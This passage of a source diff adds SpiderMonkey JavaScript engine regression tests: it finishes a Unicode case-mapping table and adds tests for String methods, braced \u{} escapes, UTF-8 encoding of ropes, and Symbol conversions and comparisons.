+ ["\uFF70", "\uFF70"], /* HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK */
+ ["\uFF71", "\uFF71"], /* HALFWIDTH KATAKANA LETTER A */
+ ["\uFF72", "\uFF72"], /* HALFWIDTH KATAKANA LETTER I */
+ ["\uFF73", "\uFF73"], /* HALFWIDTH KATAKANA LETTER U */
+ ["\uFF74", "\uFF74"], /* HALFWIDTH KATAKANA LETTER E */
+ ["\uFF75", "\uFF75"], /* HALFWIDTH KATAKANA LETTER O */
+ ["\uFF76", "\uFF76"], /* HALFWIDTH KATAKANA LETTER KA */
+ ["\uFF77", "\uFF77"], /* HALFWIDTH KATAKANA LETTER KI */
+ ["\uFF78", "\uFF78"], /* HALFWIDTH KATAKANA LETTER KU */
+ ["\uFF79", "\uFF79"], /* HALFWIDTH KATAKANA LETTER KE */
+ ["\uFF7A", "\uFF7A"], /* HALFWIDTH KATAKANA LETTER KO */
+ ["\uFF7B", "\uFF7B"], /* HALFWIDTH KATAKANA LETTER SA */
+ ["\uFF7C", "\uFF7C"], /* HALFWIDTH KATAKANA LETTER SI */
+ ["\uFF7D", "\uFF7D"], /* HALFWIDTH KATAKANA LETTER SU */
+ ["\uFF7E", "\uFF7E"], /* HALFWIDTH KATAKANA LETTER SE */
+ ["\uFF7F", "\uFF7F"], /* HALFWIDTH KATAKANA LETTER SO */
+ ["\uFF80", "\uFF80"], /* HALFWIDTH KATAKANA LETTER TA */
+ ["\uFF81", "\uFF81"], /* HALFWIDTH KATAKANA LETTER TI */
+ ["\uFF82", "\uFF82"], /* HALFWIDTH KATAKANA LETTER TU */
+ ["\uFF83", "\uFF83"], /* HALFWIDTH KATAKANA LETTER TE */
+ ["\uFF84", "\uFF84"], /* HALFWIDTH KATAKANA LETTER TO */
+ ["\uFF85", "\uFF85"], /* HALFWIDTH KATAKANA LETTER NA */
+ ["\uFF86", "\uFF86"], /* HALFWIDTH KATAKANA LETTER NI */
+ ["\uFF87", "\uFF87"], /* HALFWIDTH KATAKANA LETTER NU */
+ ["\uFF88", "\uFF88"], /* HALFWIDTH KATAKANA LETTER NE */
+ ["\uFF89", "\uFF89"], /* HALFWIDTH KATAKANA LETTER NO */
+ ["\uFF8A", "\uFF8A"], /* HALFWIDTH KATAKANA LETTER HA */
+ ["\uFF8B", "\uFF8B"], /* HALFWIDTH KATAKANA LETTER HI */
+ ["\uFF8C", "\uFF8C"], /* HALFWIDTH KATAKANA LETTER HU */
+ ["\uFF8D", "\uFF8D"], /* HALFWIDTH KATAKANA LETTER HE */
+ ["\uFF8E", "\uFF8E"], /* HALFWIDTH KATAKANA LETTER HO */
+ ["\uFF8F", "\uFF8F"], /* HALFWIDTH KATAKANA LETTER MA */
+ ["\uFF90", "\uFF90"], /* HALFWIDTH KATAKANA LETTER MI */
+ ["\uFF91", "\uFF91"], /* HALFWIDTH KATAKANA LETTER MU */
+ ["\uFF92", "\uFF92"], /* HALFWIDTH KATAKANA LETTER ME */
+ ["\uFF93", "\uFF93"], /* HALFWIDTH KATAKANA LETTER MO */
+ ["\uFF94", "\uFF94"], /* HALFWIDTH KATAKANA LETTER YA */
+ ["\uFF95", "\uFF95"], /* HALFWIDTH KATAKANA LETTER YU */
+ ["\uFF96", "\uFF96"], /* HALFWIDTH KATAKANA LETTER YO */
+ ["\uFF97", "\uFF97"], /* HALFWIDTH KATAKANA LETTER RA */
+ ["\uFF98", "\uFF98"], /* HALFWIDTH KATAKANA LETTER RI */
+ ["\uFF99", "\uFF99"], /* HALFWIDTH KATAKANA LETTER RU */
+ ["\uFF9A", "\uFF9A"], /* HALFWIDTH KATAKANA LETTER RE */
+ ["\uFF9B", "\uFF9B"], /* HALFWIDTH KATAKANA LETTER RO */
+ ["\uFF9C", "\uFF9C"], /* HALFWIDTH KATAKANA LETTER WA */
+ ["\uFF9D", "\uFF9D"], /* HALFWIDTH KATAKANA LETTER N */
+ ["\uFF9E", "\uFF9E"], /* HALFWIDTH KATAKANA VOICED SOUND MARK */
+ ["\uFF9F", "\uFF9F"], /* HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK */
+ ["\uFFA0", "\uFFA0"], /* HALFWIDTH HANGUL FILLER (HALFWIDTH HANGUL CAE OM) */
+ ["\uFFA1", "\uFFA1"], /* HALFWIDTH HANGUL LETTER KIYEOK (HALFWIDTH HANGUL LETTER GIYEOG) */
+ ["\uFFA2", "\uFFA2"], /* HALFWIDTH HANGUL LETTER SSANGKIYEOK (HALFWIDTH HANGUL LETTER SSANG GIYEOG) */
+ ["\uFFA3", "\uFFA3"], /* HALFWIDTH HANGUL LETTER KIYEOK-SIOS (HALFWIDTH HANGUL LETTER GIYEOG SIOS) */
+ ["\uFFA4", "\uFFA4"], /* HALFWIDTH HANGUL LETTER NIEUN */
+ ["\uFFA5", "\uFFA5"], /* HALFWIDTH HANGUL LETTER NIEUN-CIEUC (HALFWIDTH HANGUL LETTER NIEUN JIEUJ) */
+ ["\uFFA6", "\uFFA6"], /* HALFWIDTH HANGUL LETTER NIEUN-HIEUH (HALFWIDTH HANGUL LETTER NIEUN HIEUH) */
+ ["\uFFA7", "\uFFA7"], /* HALFWIDTH HANGUL LETTER TIKEUT (HALFWIDTH HANGUL LETTER DIGEUD) */
+ ["\uFFA8", "\uFFA8"], /* HALFWIDTH HANGUL LETTER SSANGTIKEUT (HALFWIDTH HANGUL LETTER SSANG DIGEUD) */
+ ["\uFFA9", "\uFFA9"], /* HALFWIDTH HANGUL LETTER RIEUL (HALFWIDTH HANGUL LETTER LIEUL) */
+ ["\uFFAA", "\uFFAA"], /* HALFWIDTH HANGUL LETTER RIEUL-KIYEOK (HALFWIDTH HANGUL LETTER LIEUL GIYEOG) */
+ ["\uFFAB", "\uFFAB"], /* HALFWIDTH HANGUL LETTER RIEUL-MIEUM (HALFWIDTH HANGUL LETTER LIEUL MIEUM) */
+ ["\uFFAC", "\uFFAC"], /* HALFWIDTH HANGUL LETTER RIEUL-PIEUP (HALFWIDTH HANGUL LETTER LIEUL BIEUB) */
+ ["\uFFAD", "\uFFAD"], /* HALFWIDTH HANGUL LETTER RIEUL-SIOS (HALFWIDTH HANGUL LETTER LIEUL SIOS) */
+ ["\uFFAE", "\uFFAE"], /* HALFWIDTH HANGUL LETTER RIEUL-THIEUTH (HALFWIDTH HANGUL LETTER LIEUL TIEUT) */
+ ["\uFFAF", "\uFFAF"], /* HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH (HALFWIDTH HANGUL LETTER LIEUL PIEUP) */
+ ["\uFFB0", "\uFFB0"], /* HALFWIDTH HANGUL LETTER RIEUL-HIEUH (HALFWIDTH HANGUL LETTER LIEUL HIEUH) */
+ ["\uFFB1", "\uFFB1"], /* HALFWIDTH HANGUL LETTER MIEUM */
+ ["\uFFB2", "\uFFB2"], /* HALFWIDTH HANGUL LETTER PIEUP (HALFWIDTH HANGUL LETTER BIEUB) */
+ ["\uFFB3", "\uFFB3"], /* HALFWIDTH HANGUL LETTER SSANGPIEUP (HALFWIDTH HANGUL LETTER SSANG BIEUB) */
+ ["\uFFB4", "\uFFB4"], /* HALFWIDTH HANGUL LETTER PIEUP-SIOS (HALFWIDTH HANGUL LETTER BIEUB SIOS) */
+ ["\uFFB5", "\uFFB5"], /* HALFWIDTH HANGUL LETTER SIOS */
+ ["\uFFB6", "\uFFB6"], /* HALFWIDTH HANGUL LETTER SSANGSIOS (HALFWIDTH HANGUL LETTER SSANG SIOS) */
+ ["\uFFB7", "\uFFB7"], /* HALFWIDTH HANGUL LETTER IEUNG */
+ ["\uFFB8", "\uFFB8"], /* HALFWIDTH HANGUL LETTER CIEUC (HALFWIDTH HANGUL LETTER JIEUJ) */
+ ["\uFFB9", "\uFFB9"], /* HALFWIDTH HANGUL LETTER SSANGCIEUC (HALFWIDTH HANGUL LETTER SSANG JIEUJ) */
+ ["\uFFBA", "\uFFBA"], /* HALFWIDTH HANGUL LETTER CHIEUCH (HALFWIDTH HANGUL LETTER CIEUC) */
+ ["\uFFBB", "\uFFBB"], /* HALFWIDTH HANGUL LETTER KHIEUKH (HALFWIDTH HANGUL LETTER KIYEOK) */
+ ["\uFFBC", "\uFFBC"], /* HALFWIDTH HANGUL LETTER THIEUTH (HALFWIDTH HANGUL LETTER TIEUT) */
+ ["\uFFBD", "\uFFBD"], /* HALFWIDTH HANGUL LETTER PHIEUPH (HALFWIDTH HANGUL LETTER PIEUP) */
+ ["\uFFBE", "\uFFBE"], /* HALFWIDTH HANGUL LETTER HIEUH */
+ ["\uFFBF", "\uFFBF"],
+ ["\uFFC0", "\uFFC0"],
+ ["\uFFC1", "\uFFC1"],
+ ["\uFFC2", "\uFFC2"], /* HALFWIDTH HANGUL LETTER A */
+ ["\uFFC3", "\uFFC3"], /* HALFWIDTH HANGUL LETTER AE */
+ ["\uFFC4", "\uFFC4"], /* HALFWIDTH HANGUL LETTER YA */
+ ["\uFFC5", "\uFFC5"], /* HALFWIDTH HANGUL LETTER YAE */
+ ["\uFFC6", "\uFFC6"], /* HALFWIDTH HANGUL LETTER EO */
+ ["\uFFC7", "\uFFC7"], /* HALFWIDTH HANGUL LETTER E */
+ ["\uFFC8", "\uFFC8"],
+ ["\uFFC9", "\uFFC9"],
+ ["\uFFCA", "\uFFCA"], /* HALFWIDTH HANGUL LETTER YEO */
+ ["\uFFCB", "\uFFCB"], /* HALFWIDTH HANGUL LETTER YE */
+ ["\uFFCC", "\uFFCC"], /* HALFWIDTH HANGUL LETTER O */
+ ["\uFFCD", "\uFFCD"], /* HALFWIDTH HANGUL LETTER WA */
+ ["\uFFCE", "\uFFCE"], /* HALFWIDTH HANGUL LETTER WAE */
+ ["\uFFCF", "\uFFCF"], /* HALFWIDTH HANGUL LETTER OE */
+ ["\uFFD0", "\uFFD0"],
+ ["\uFFD1", "\uFFD1"],
+ ["\uFFD2", "\uFFD2"], /* HALFWIDTH HANGUL LETTER YO */
+ ["\uFFD3", "\uFFD3"], /* HALFWIDTH HANGUL LETTER U */
+ ["\uFFD4", "\uFFD4"], /* HALFWIDTH HANGUL LETTER WEO */
+ ["\uFFD5", "\uFFD5"], /* HALFWIDTH HANGUL LETTER WE */
+ ["\uFFD6", "\uFFD6"], /* HALFWIDTH HANGUL LETTER WI */
+ ["\uFFD7", "\uFFD7"], /* HALFWIDTH HANGUL LETTER YU */
+ ["\uFFD8", "\uFFD8"],
+ ["\uFFD9", "\uFFD9"],
+ ["\uFFDA", "\uFFDA"], /* HALFWIDTH HANGUL LETTER EU */
+ ["\uFFDB", "\uFFDB"], /* HALFWIDTH HANGUL LETTER YI */
+ ["\uFFDC", "\uFFDC"], /* HALFWIDTH HANGUL LETTER I */
+ ["\uFFDD", "\uFFDD"],
+ ["\uFFDE", "\uFFDE"],
+ ["\uFFDF", "\uFFDF"],
+ ["\uFFE0", "\uFFE0"], /* FULLWIDTH CENT SIGN */
+ ["\uFFE1", "\uFFE1"], /* FULLWIDTH POUND SIGN */
+ ["\uFFE2", "\uFFE2"], /* FULLWIDTH NOT SIGN */
+ ["\uFFE3", "\uFFE3"], /* FULLWIDTH MACRON (FULLWIDTH SPACING MACRON) */
+ ["\uFFE4", "\uFFE4"], /* FULLWIDTH BROKEN BAR (FULLWIDTH BROKEN VERTICAL BAR) */
+ ["\uFFE5", "\uFFE5"], /* FULLWIDTH YEN SIGN */
+ ["\uFFE6", "\uFFE6"], /* FULLWIDTH WON SIGN */
+ ["\uFFE7", "\uFFE7"],
+ ["\uFFE8", "\uFFE8"], /* HALFWIDTH FORMS LIGHT VERTICAL */
+ ["\uFFE9", "\uFFE9"], /* HALFWIDTH LEFTWARDS ARROW */
+ ["\uFFEA", "\uFFEA"], /* HALFWIDTH UPWARDS ARROW */
+ ["\uFFEB", "\uFFEB"], /* HALFWIDTH RIGHTWARDS ARROW */
+ ["\uFFEC", "\uFFEC"], /* HALFWIDTH DOWNWARDS ARROW */
+ ["\uFFED", "\uFFED"], /* HALFWIDTH BLACK SQUARE */
+ ["\uFFEE", "\uFFEE"], /* HALFWIDTH WHITE CIRCLE */
+ ["\uFFEF", "\uFFEF"],
+ ["\uFFF0", "\uFFF0"],
+ ["\uFFF1", "\uFFF1"],
+ ["\uFFF2", "\uFFF2"],
+ ["\uFFF3", "\uFFF3"],
+ ["\uFFF4", "\uFFF4"],
+ ["\uFFF5", "\uFFF5"],
+ ["\uFFF6", "\uFFF6"],
+ ["\uFFF7", "\uFFF7"],
+ ["\uFFF8", "\uFFF8"],
+ ["\uFFF9", "\uFFF9"], /* INTERLINEAR ANNOTATION ANCHOR */
+ ["\uFFFA", "\uFFFA"], /* INTERLINEAR ANNOTATION SEPARATOR */
+ ["\uFFFB", "\uFFFB"], /* INTERLINEAR ANNOTATION TERMINATOR */
+ ["\uFFFC", "\uFFFC"], /* OBJECT REPLACEMENT CHARACTER */
+ ["\uFFFD", "\uFFFD"], /* REPLACEMENT CHARACTER */
+ ["\uFFFE", "\uFFFE"],
+ ["\uFFFF", "\uFFFF"],
+];
+
+assertEq(mapping.length, 0x10000);
+for (var i = 0; i <= 0xffff; i++) {
+ var char = String.fromCharCode(i);
+ var info = mapping[i];
+
+ assertEq(char.toUpperCase(), info[0]);
+ assertEq(char.toLowerCase(), info[1]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/thisv-error.js b/js/src/tests/non262/String/thisv-error.js
new file mode 100644
index 0000000000..9126a6e05e
--- /dev/null
+++ b/js/src/tests/non262/String/thisv-error.js
@@ -0,0 +1,51 @@
+function testName(thisv) {
+ var failures = [
+ // Not a function
+ "length",
+ // TODO: Different implementation
+ "toString",
+ "toSource",
+ "valueOf",
+ // Aliases
+ "trimLeft",
+ "trimRight",
+ // Returns empty string
+ "constructor"
+ ]
+
+ var keys = Object.getOwnPropertyNames(String.prototype);
+ for (var key of keys) {
+ var message;
+ try {
+ String.prototype[key].call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ var expected = `String.prototype.${key} called on incompatible ${thisv}`;
+ if (failures.includes(key)) {
+ assertEq(message !== expected, true)
+ } else {
+ assertEq(message, expected);
+ }
+ }
+}
+testName(null);
+testName(undefined);
+
+// On-off test for Symbol.iterator
+function testIterator(thisv) {
+ var message;
+ try {
+ String.prototype[Symbol.iterator].call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ assertEq(message, `String.prototype[Symbol.iterator] called on incompatible ${thisv}`);
+}
+testIterator(null);
+testIterator(undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/unicode-braced.js b/js/src/tests/non262/String/unicode-braced.js
new file mode 100644
index 0000000000..62d96b8441
--- /dev/null
+++ b/js/src/tests/non262/String/unicode-braced.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 320500;
+var summary = 'Add \\u{xxxxxx} string literals';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq("\u{0}", String.fromCodePoint(0x0));
+assertEq("\u{1}", String.fromCodePoint(0x1));
+assertEq("\u{10}", String.fromCodePoint(0x10));
+assertEq("\u{100}", String.fromCodePoint(0x100));
+assertEq("\u{1000}", String.fromCodePoint(0x1000));
+assertEq("\u{D7FF}", String.fromCodePoint(0xD7FF));
+assertEq("\u{D800}", String.fromCodePoint(0xD800));
+assertEq("\u{DBFF}", String.fromCodePoint(0xDBFF));
+assertEq("\u{DC00}", String.fromCodePoint(0xDC00));
+assertEq("\u{DFFF}", String.fromCodePoint(0xDFFF));
+assertEq("\u{E000}", String.fromCodePoint(0xE000));
+assertEq("\u{10000}", String.fromCodePoint(0x10000));
+assertEq("\u{100000}", String.fromCodePoint(0x100000));
+assertEq("\u{10FFFF}", String.fromCodePoint(0x10FFFF));
+assertEq("\u{10ffff}", String.fromCodePoint(0x10FFFF));
+
+assertEq("A\u{1}\u{10}B\u{100}\u{1000}\u{10000}C\u{100000}",
+ "A" +
+ String.fromCodePoint(0x1) +
+ String.fromCodePoint(0x10) +
+ "B" +
+ String.fromCodePoint(0x100) +
+ String.fromCodePoint(0x1000) +
+ String.fromCodePoint(0x10000) +
+ "C" +
+ String.fromCodePoint(0x100000));
+
+assertEq('\u{10ffff}', String.fromCodePoint(0x10FFFF));
+assertEq(`\u{10ffff}`, String.fromCodePoint(0x10FFFF));
+assertEq(`\u{10ffff}${""}`, String.fromCodePoint(0x10FFFF));
+assertEq(`${""}\u{10ffff}`, String.fromCodePoint(0x10FFFF));
+assertEq(`${""}\u{10ffff}${""}`, String.fromCodePoint(0x10FFFF));
+
+assertEq("\u{00}", String.fromCodePoint(0x0));
+assertEq("\u{00000000000000000}", String.fromCodePoint(0x0));
+assertEq("\u{00000000000001000}", String.fromCodePoint(0x1000));
+
+assertEq(eval(`"\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}"`), String.fromCodePoint(0x1234));
+
+assertEq("\U{0}", "U{0}");
+
+assertThrowsInstanceOf(() => eval(`"\\u{-1}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{0.0}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{G}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{{"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{110000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{00110000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{100000000000000000000000000000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{ FFFF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FFFF }"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FF FF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{F F F F}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{100000001}"`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/utf8-encode.js b/js/src/tests/non262/String/utf8-encode.js
new file mode 100644
index 0000000000..78b6afae8a
--- /dev/null
+++ b/js/src/tests/non262/String/utf8-encode.js
@@ -0,0 +1,179 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+var BUGNUMBER = 1561567;
+var summary = 'JS_EncodeStringToUTF8BufferPartial - Encode string as UTF-8 into a byte array';
+
+print(BUGNUMBER + ": " + summary);
+
+var concat = [
+ {
+ head: "a",
+ tail: "b",
+ expected: "ab",
+ name: "Latin1 and Latin1",
+ },
+ {
+ head: "α",
+ tail: "β",
+ expected: "αβ",
+ name: "UTF-16 and UTF-16",
+ },
+ {
+ head: "a",
+ tail: "β",
+ expected: "aβ",
+ name: "Latin1 and UTF-16",
+ },
+ {
+ head: "α",
+ tail: "b",
+ expected: "αb",
+ name: "UTF-16 and Latin1",
+ },
+ {
+ head: "\uD83D",
+ tail: "\uDE03",
+ expected: "\uD83D\uDE03",
+ name: "Surrogate pair",
+ },
+ {
+ head: "a\uD83D",
+ tail: "\uDE03b",
+ expected: "a\uD83D\uDE03b",
+ name: "Surrogate pair with prefix and suffix",
+ },
+ {
+ head: "\uD83D",
+ tail: "b",
+ expected: "\uFFFDb",
+ name: "Unpaired high surrogate and Latin1",
+ },
+ {
+ head: "a\uD83D",
+ tail: "b",
+ expected: "a\uFFFDb",
+ name: "Prefixed unpaired high surrogate and Latin1",
+ },
+ {
+ head: "\uD83D",
+ tail: "β",
+ expected: "\uFFFDβ",
+ name: "Unpaired high surrogate and UTF-16",
+ },
+ {
+ head: "a\uD83D",
+ tail: "β",
+ expected: "a\uFFFDβ",
+ name: "Prefixed unpaired high surrogate and UTF-16",
+ },
+
+ {
+ head: "\uDE03",
+ tail: "b",
+ expected: "\uFFFDb",
+ name: "Unpaired low surrogate and Latin1",
+ },
+ {
+ head: "a\uDE03",
+ tail: "b",
+ expected: "a\uFFFDb",
+ name: "Prefixed unpaired low surrogate and Latin1",
+ },
+ {
+ head: "\uDE03",
+ tail: "β",
+ expected: "\uFFFDβ",
+ name: "Unpaired low surrogate and UTF-16",
+ },
+ {
+ head: "a\uDE03",
+ tail: "β",
+ expected: "a\uFFFDβ",
+ name: "Prefixed unpaired low surrogate and UTF-16",
+ },
+
+ {
+ head: "a",
+ tail: "\uDE03",
+ expected: "a\uFFFD",
+ name: "Latin1 and unpaired low surrogate",
+ },
+ {
+ head: "a",
+ tail: "\uDE03b",
+ expected: "a\uFFFDb",
+ name: "Latin1 and suffixed unpaired low surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uDE03",
+ expected: "α\uFFFD",
+ name: "UTF-16 and unpaired low surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uDE03b",
+ expected: "α\uFFFDb",
+ name: "UTF-16 and suffixed unpaired low surrogate",
+ },
+
+ {
+ head: "a",
+ tail: "\uD83D",
+ expected: "a\uFFFD",
+ name: "Latin1 and unpaired high surrogate",
+ },
+ {
+ head: "a",
+ tail: "\uD83Db",
+ expected: "a\uFFFDb",
+ name: "Latin1 and suffixed unpaired high surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uD83D",
+ expected: "α\uFFFD",
+ name: "UTF-16 and unpaired high surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uD83Db",
+ expected: "α\uFFFDb",
+ name: "UTF-16 and suffixed unpaired high surrogate",
+ },
+];
+
+assertEq(isSameCompartment(newRope, this), true);
+
+function checkUtf8Equal(first, second) {
+ var firstBuffer = new Uint8Array(first.length * 3);
+ var secondBuffer = new Uint8Array(second.length * 3);
+
+ var [firstRead, firstWritten] = encodeAsUtf8InBuffer(first, firstBuffer);
+ var [secondRead, secondWritten] = encodeAsUtf8InBuffer(second, secondBuffer);
+
+ assertEq(first.length, firstRead);
+ assertEq(second.length, secondRead);
+
+ assertEq(firstWritten, secondWritten);
+
+ for (var i = 0; i < firstWritten; ++i) {
+ assertEq(firstBuffer[i], secondBuffer[i]);
+ }
+}
+
+concat.forEach(function(t) {
+ var rope = newRope(t.head, t.tail);
+ checkUtf8Equal(rope, t.expected);
+});
+
+var ab = newRope("a", "b");
+var abc = newRope(ab, "c");
+var ef = newRope("e", "f");
+var def = newRope("d", ef);
+var abcdef = newRope(abc, def);
+var abcdefab = newRope(abcdef, ab);
+checkUtf8Equal(abcdefab, "abcdefab");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Symbol/as-base-value.js b/js/src/tests/non262/Symbol/as-base-value.js
new file mode 100644
index 0000000000..f0e8400a22
--- /dev/null
+++ b/js/src/tests/non262/Symbol/as-base-value.js
@@ -0,0 +1,87 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Like other primitives, symbols can be treated as objects, using object-like
+// syntax: `symbol.prop` or `symbol[key]`.
+//
+// In ECMAScript spec jargon, this creates a Reference whose base value is a
+// primitive Symbol value.
+
+var symbols = [
+ Symbol(),
+ Symbol("ponies"),
+ Symbol.for("sym"),
+ Symbol.iterator
+];
+
+// Test accessor property, used below.
+var gets, sets;
+Object.defineProperty(Symbol.prototype, "prop", {
+ get: function () {
+ "use strict";
+ gets++;
+ assertEq(typeof this, "symbol");
+ assertEq(this, sym);
+ return "got";
+ },
+ set: function (v) {
+ "use strict";
+ sets++;
+ assertEq(typeof this, "symbol");
+ assertEq(this, sym);
+ assertEq(v, "newvalue");
+ }
+});
+
+for (var sym of symbols) {
+ assertEq(sym.constructor, Symbol);
+
+ // method on Object.prototype
+ assertEq(sym.hasOwnProperty("constructor"), false);
+ assertEq(sym.toLocaleString(), sym.toString()); // once .toString() exists
+
+ // custom method monkeypatched onto Symbol.prototype
+ Symbol.prototype.nonStrictMethod = function (arg) {
+ assertEq(arg, "ok");
+ assertEq(this instanceof Symbol, true);
+ assertEq(this.valueOf(), sym);
+ return 13;
+ };
+ assertEq(sym.nonStrictMethod("ok"), 13);
+
+ // the same, but strict mode
+ Symbol.prototype.strictMethod = function (arg) {
+ "use strict";
+ assertEq(arg, "ok2");
+ assertEq(this, sym);
+ return 14;
+ };
+ assertEq(sym.strictMethod("ok2"), 14);
+
+ // getter/setter on Symbol.prototype
+ gets = 0;
+ sets = 0;
+ var propname = "prop";
+
+ assertEq(sym.prop, "got");
+ assertEq(gets, 1);
+ assertEq(sym[propname], "got");
+ assertEq(gets, 2);
+
+ assertEq(sym.prop = "newvalue", "newvalue");
+ assertEq(sets, 1);
+ assertEq(sym[propname] = "newvalue", "newvalue");
+ assertEq(sets, 2);
+
+ // non-existent property
+ assertEq(sym.noSuchProp, undefined);
+ var noSuchPropName = "nonesuch";
+ assertEq(sym[noSuchPropName], undefined);
+
+ // non-existent method
+ assertThrowsInstanceOf(() => sym.noSuchProp(), TypeError);
+ assertThrowsInstanceOf(() => sym[noSuchPropName](), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/browser.js b/js/src/tests/non262/Symbol/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Symbol/browser.js
diff --git a/js/src/tests/non262/Symbol/comparisons.js b/js/src/tests/non262/Symbol/comparisons.js
new file mode 100644
index 0000000000..d2105c8a1a
--- /dev/null
+++ b/js/src/tests/non262/Symbol/comparisons.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("0"),
+ Symbol.for("snowman"),
+ Symbol.iterator
+];
+
+var values = [
+ undefined, null, 0, 3.14, -0, NaN, "", "alphabet", Symbol("0"),
+ {}, []
+];
+
+for (var comparator of ["==", "!=", "===", "!=="]) {
+ var f = Function("a, b", "return a " + comparator + " b;");
+ var expected = (comparator[0] == '!');
+ for (var a of symbols) {
+ for (var b of values)
+ assertEq(f(a, b), expected);
+ }
+}
+
+for (var comparator of ["<", "<=", ">", ">="]) {
+ var f = Function("a, b", "return a " + comparator + " b;");
+ for (var a of symbols) {
+ for (var b of values)
+ assertThrowsInstanceOf(() => f(a, b), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/constructor.js b/js/src/tests/non262/Symbol/constructor.js
new file mode 100644
index 0000000000..5143b02a9e
--- /dev/null
+++ b/js/src/tests/non262/Symbol/constructor.js
@@ -0,0 +1,35 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol(symbol) throws a TypeError.
+var sym = Symbol();
+assertThrowsInstanceOf(() => Symbol(sym), TypeError);
+
+// Symbol(undefined) is equivalent to Symbol().
+assertEq(Symbol(undefined).toString(), "Symbol()");
+
+// Otherwise, Symbol(v) means Symbol(ToString(v)).
+assertEq(Symbol(7).toString(), "Symbol(7)");
+assertEq(Symbol(true).toString(), "Symbol(true)");
+assertEq(Symbol(null).toString(), "Symbol(null)");
+assertEq(Symbol([1, 2]).toString(), "Symbol(1,2)");
+var symobj = Object(sym);
+assertThrowsInstanceOf(() => Symbol(symobj), TypeError);
+
+var hits = 0;
+var obj = {
+ toString: function () {
+ hits++;
+ return "ponies";
+ }
+};
+assertEq(Symbol(obj).toString(), "Symbol(ponies)");
+assertEq(hits, 1);
+
+assertEq(Object.getPrototypeOf(Symbol.prototype), Object.prototype);
+
+// Symbol.prototype is not itself a Symbol object.
+assertThrowsInstanceOf(() => Symbol.prototype.valueOf(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/conversions.js b/js/src/tests/non262/Symbol/conversions.js
new file mode 100644
index 0000000000..e6265f09c9
--- /dev/null
+++ b/js/src/tests/non262/Symbol/conversions.js
@@ -0,0 +1,89 @@
+// Section numbers cite ES6 rev 24 (2014 April 27).
+
+var symbols = [
+ Symbol(),
+ Symbol("one"),
+ Symbol.for("two"),
+ Symbol.iterator
+];
+
+function testSymbolConversions(sym) {
+ // 7.1.2 ToBoolean
+ assertEq(Boolean(sym), true);
+ assertEq(!sym, false);
+ assertEq(sym || 13, sym);
+ assertEq(sym && 13, 13);
+
+ // 7.1.3 ToNumber
+ assertThrowsInstanceOf(() => +sym, TypeError);
+ assertThrowsInstanceOf(() => sym | 0, TypeError);
+
+ // 7.1.12 ToString
+ assertThrowsInstanceOf(() => "" + sym, TypeError);
+ assertThrowsInstanceOf(() => sym + "", TypeError);
+ assertThrowsInstanceOf(() => "" + [1, 2, sym], TypeError);
+ assertThrowsInstanceOf(() => ["simple", "thimble", sym].join(), TypeError);
+
+ // 21.1.1.1 String()
+ assertEq(String(sym), sym.toString());
+
+ // 21.1.1.2 new String()
+ assertThrowsInstanceOf(() => new String(sym), TypeError);
+
+ // 7.1.13 ToObject
+ var obj = Object(sym);
+ assertEq(typeof obj, "object");
+ assertEq(Object.prototype.toString.call(obj), "[object Symbol]");
+ assertEq(Object.getPrototypeOf(obj), Symbol.prototype);
+ assertEq(Object.getOwnPropertyNames(obj).length, 0);
+ assertEq(Object(sym) === Object(sym), false); // new object each time
+ var f = function () { return this; };
+ assertEq(f.call(sym) === f.call(sym), false); // new object each time
+}
+
+
+for (var sym of symbols) {
+ testSymbolConversions(sym);
+
+ // 7.1.1 ToPrimitive
+ var symobj = Object(sym);
+ assertThrowsInstanceOf(() => Number(symobj), TypeError);
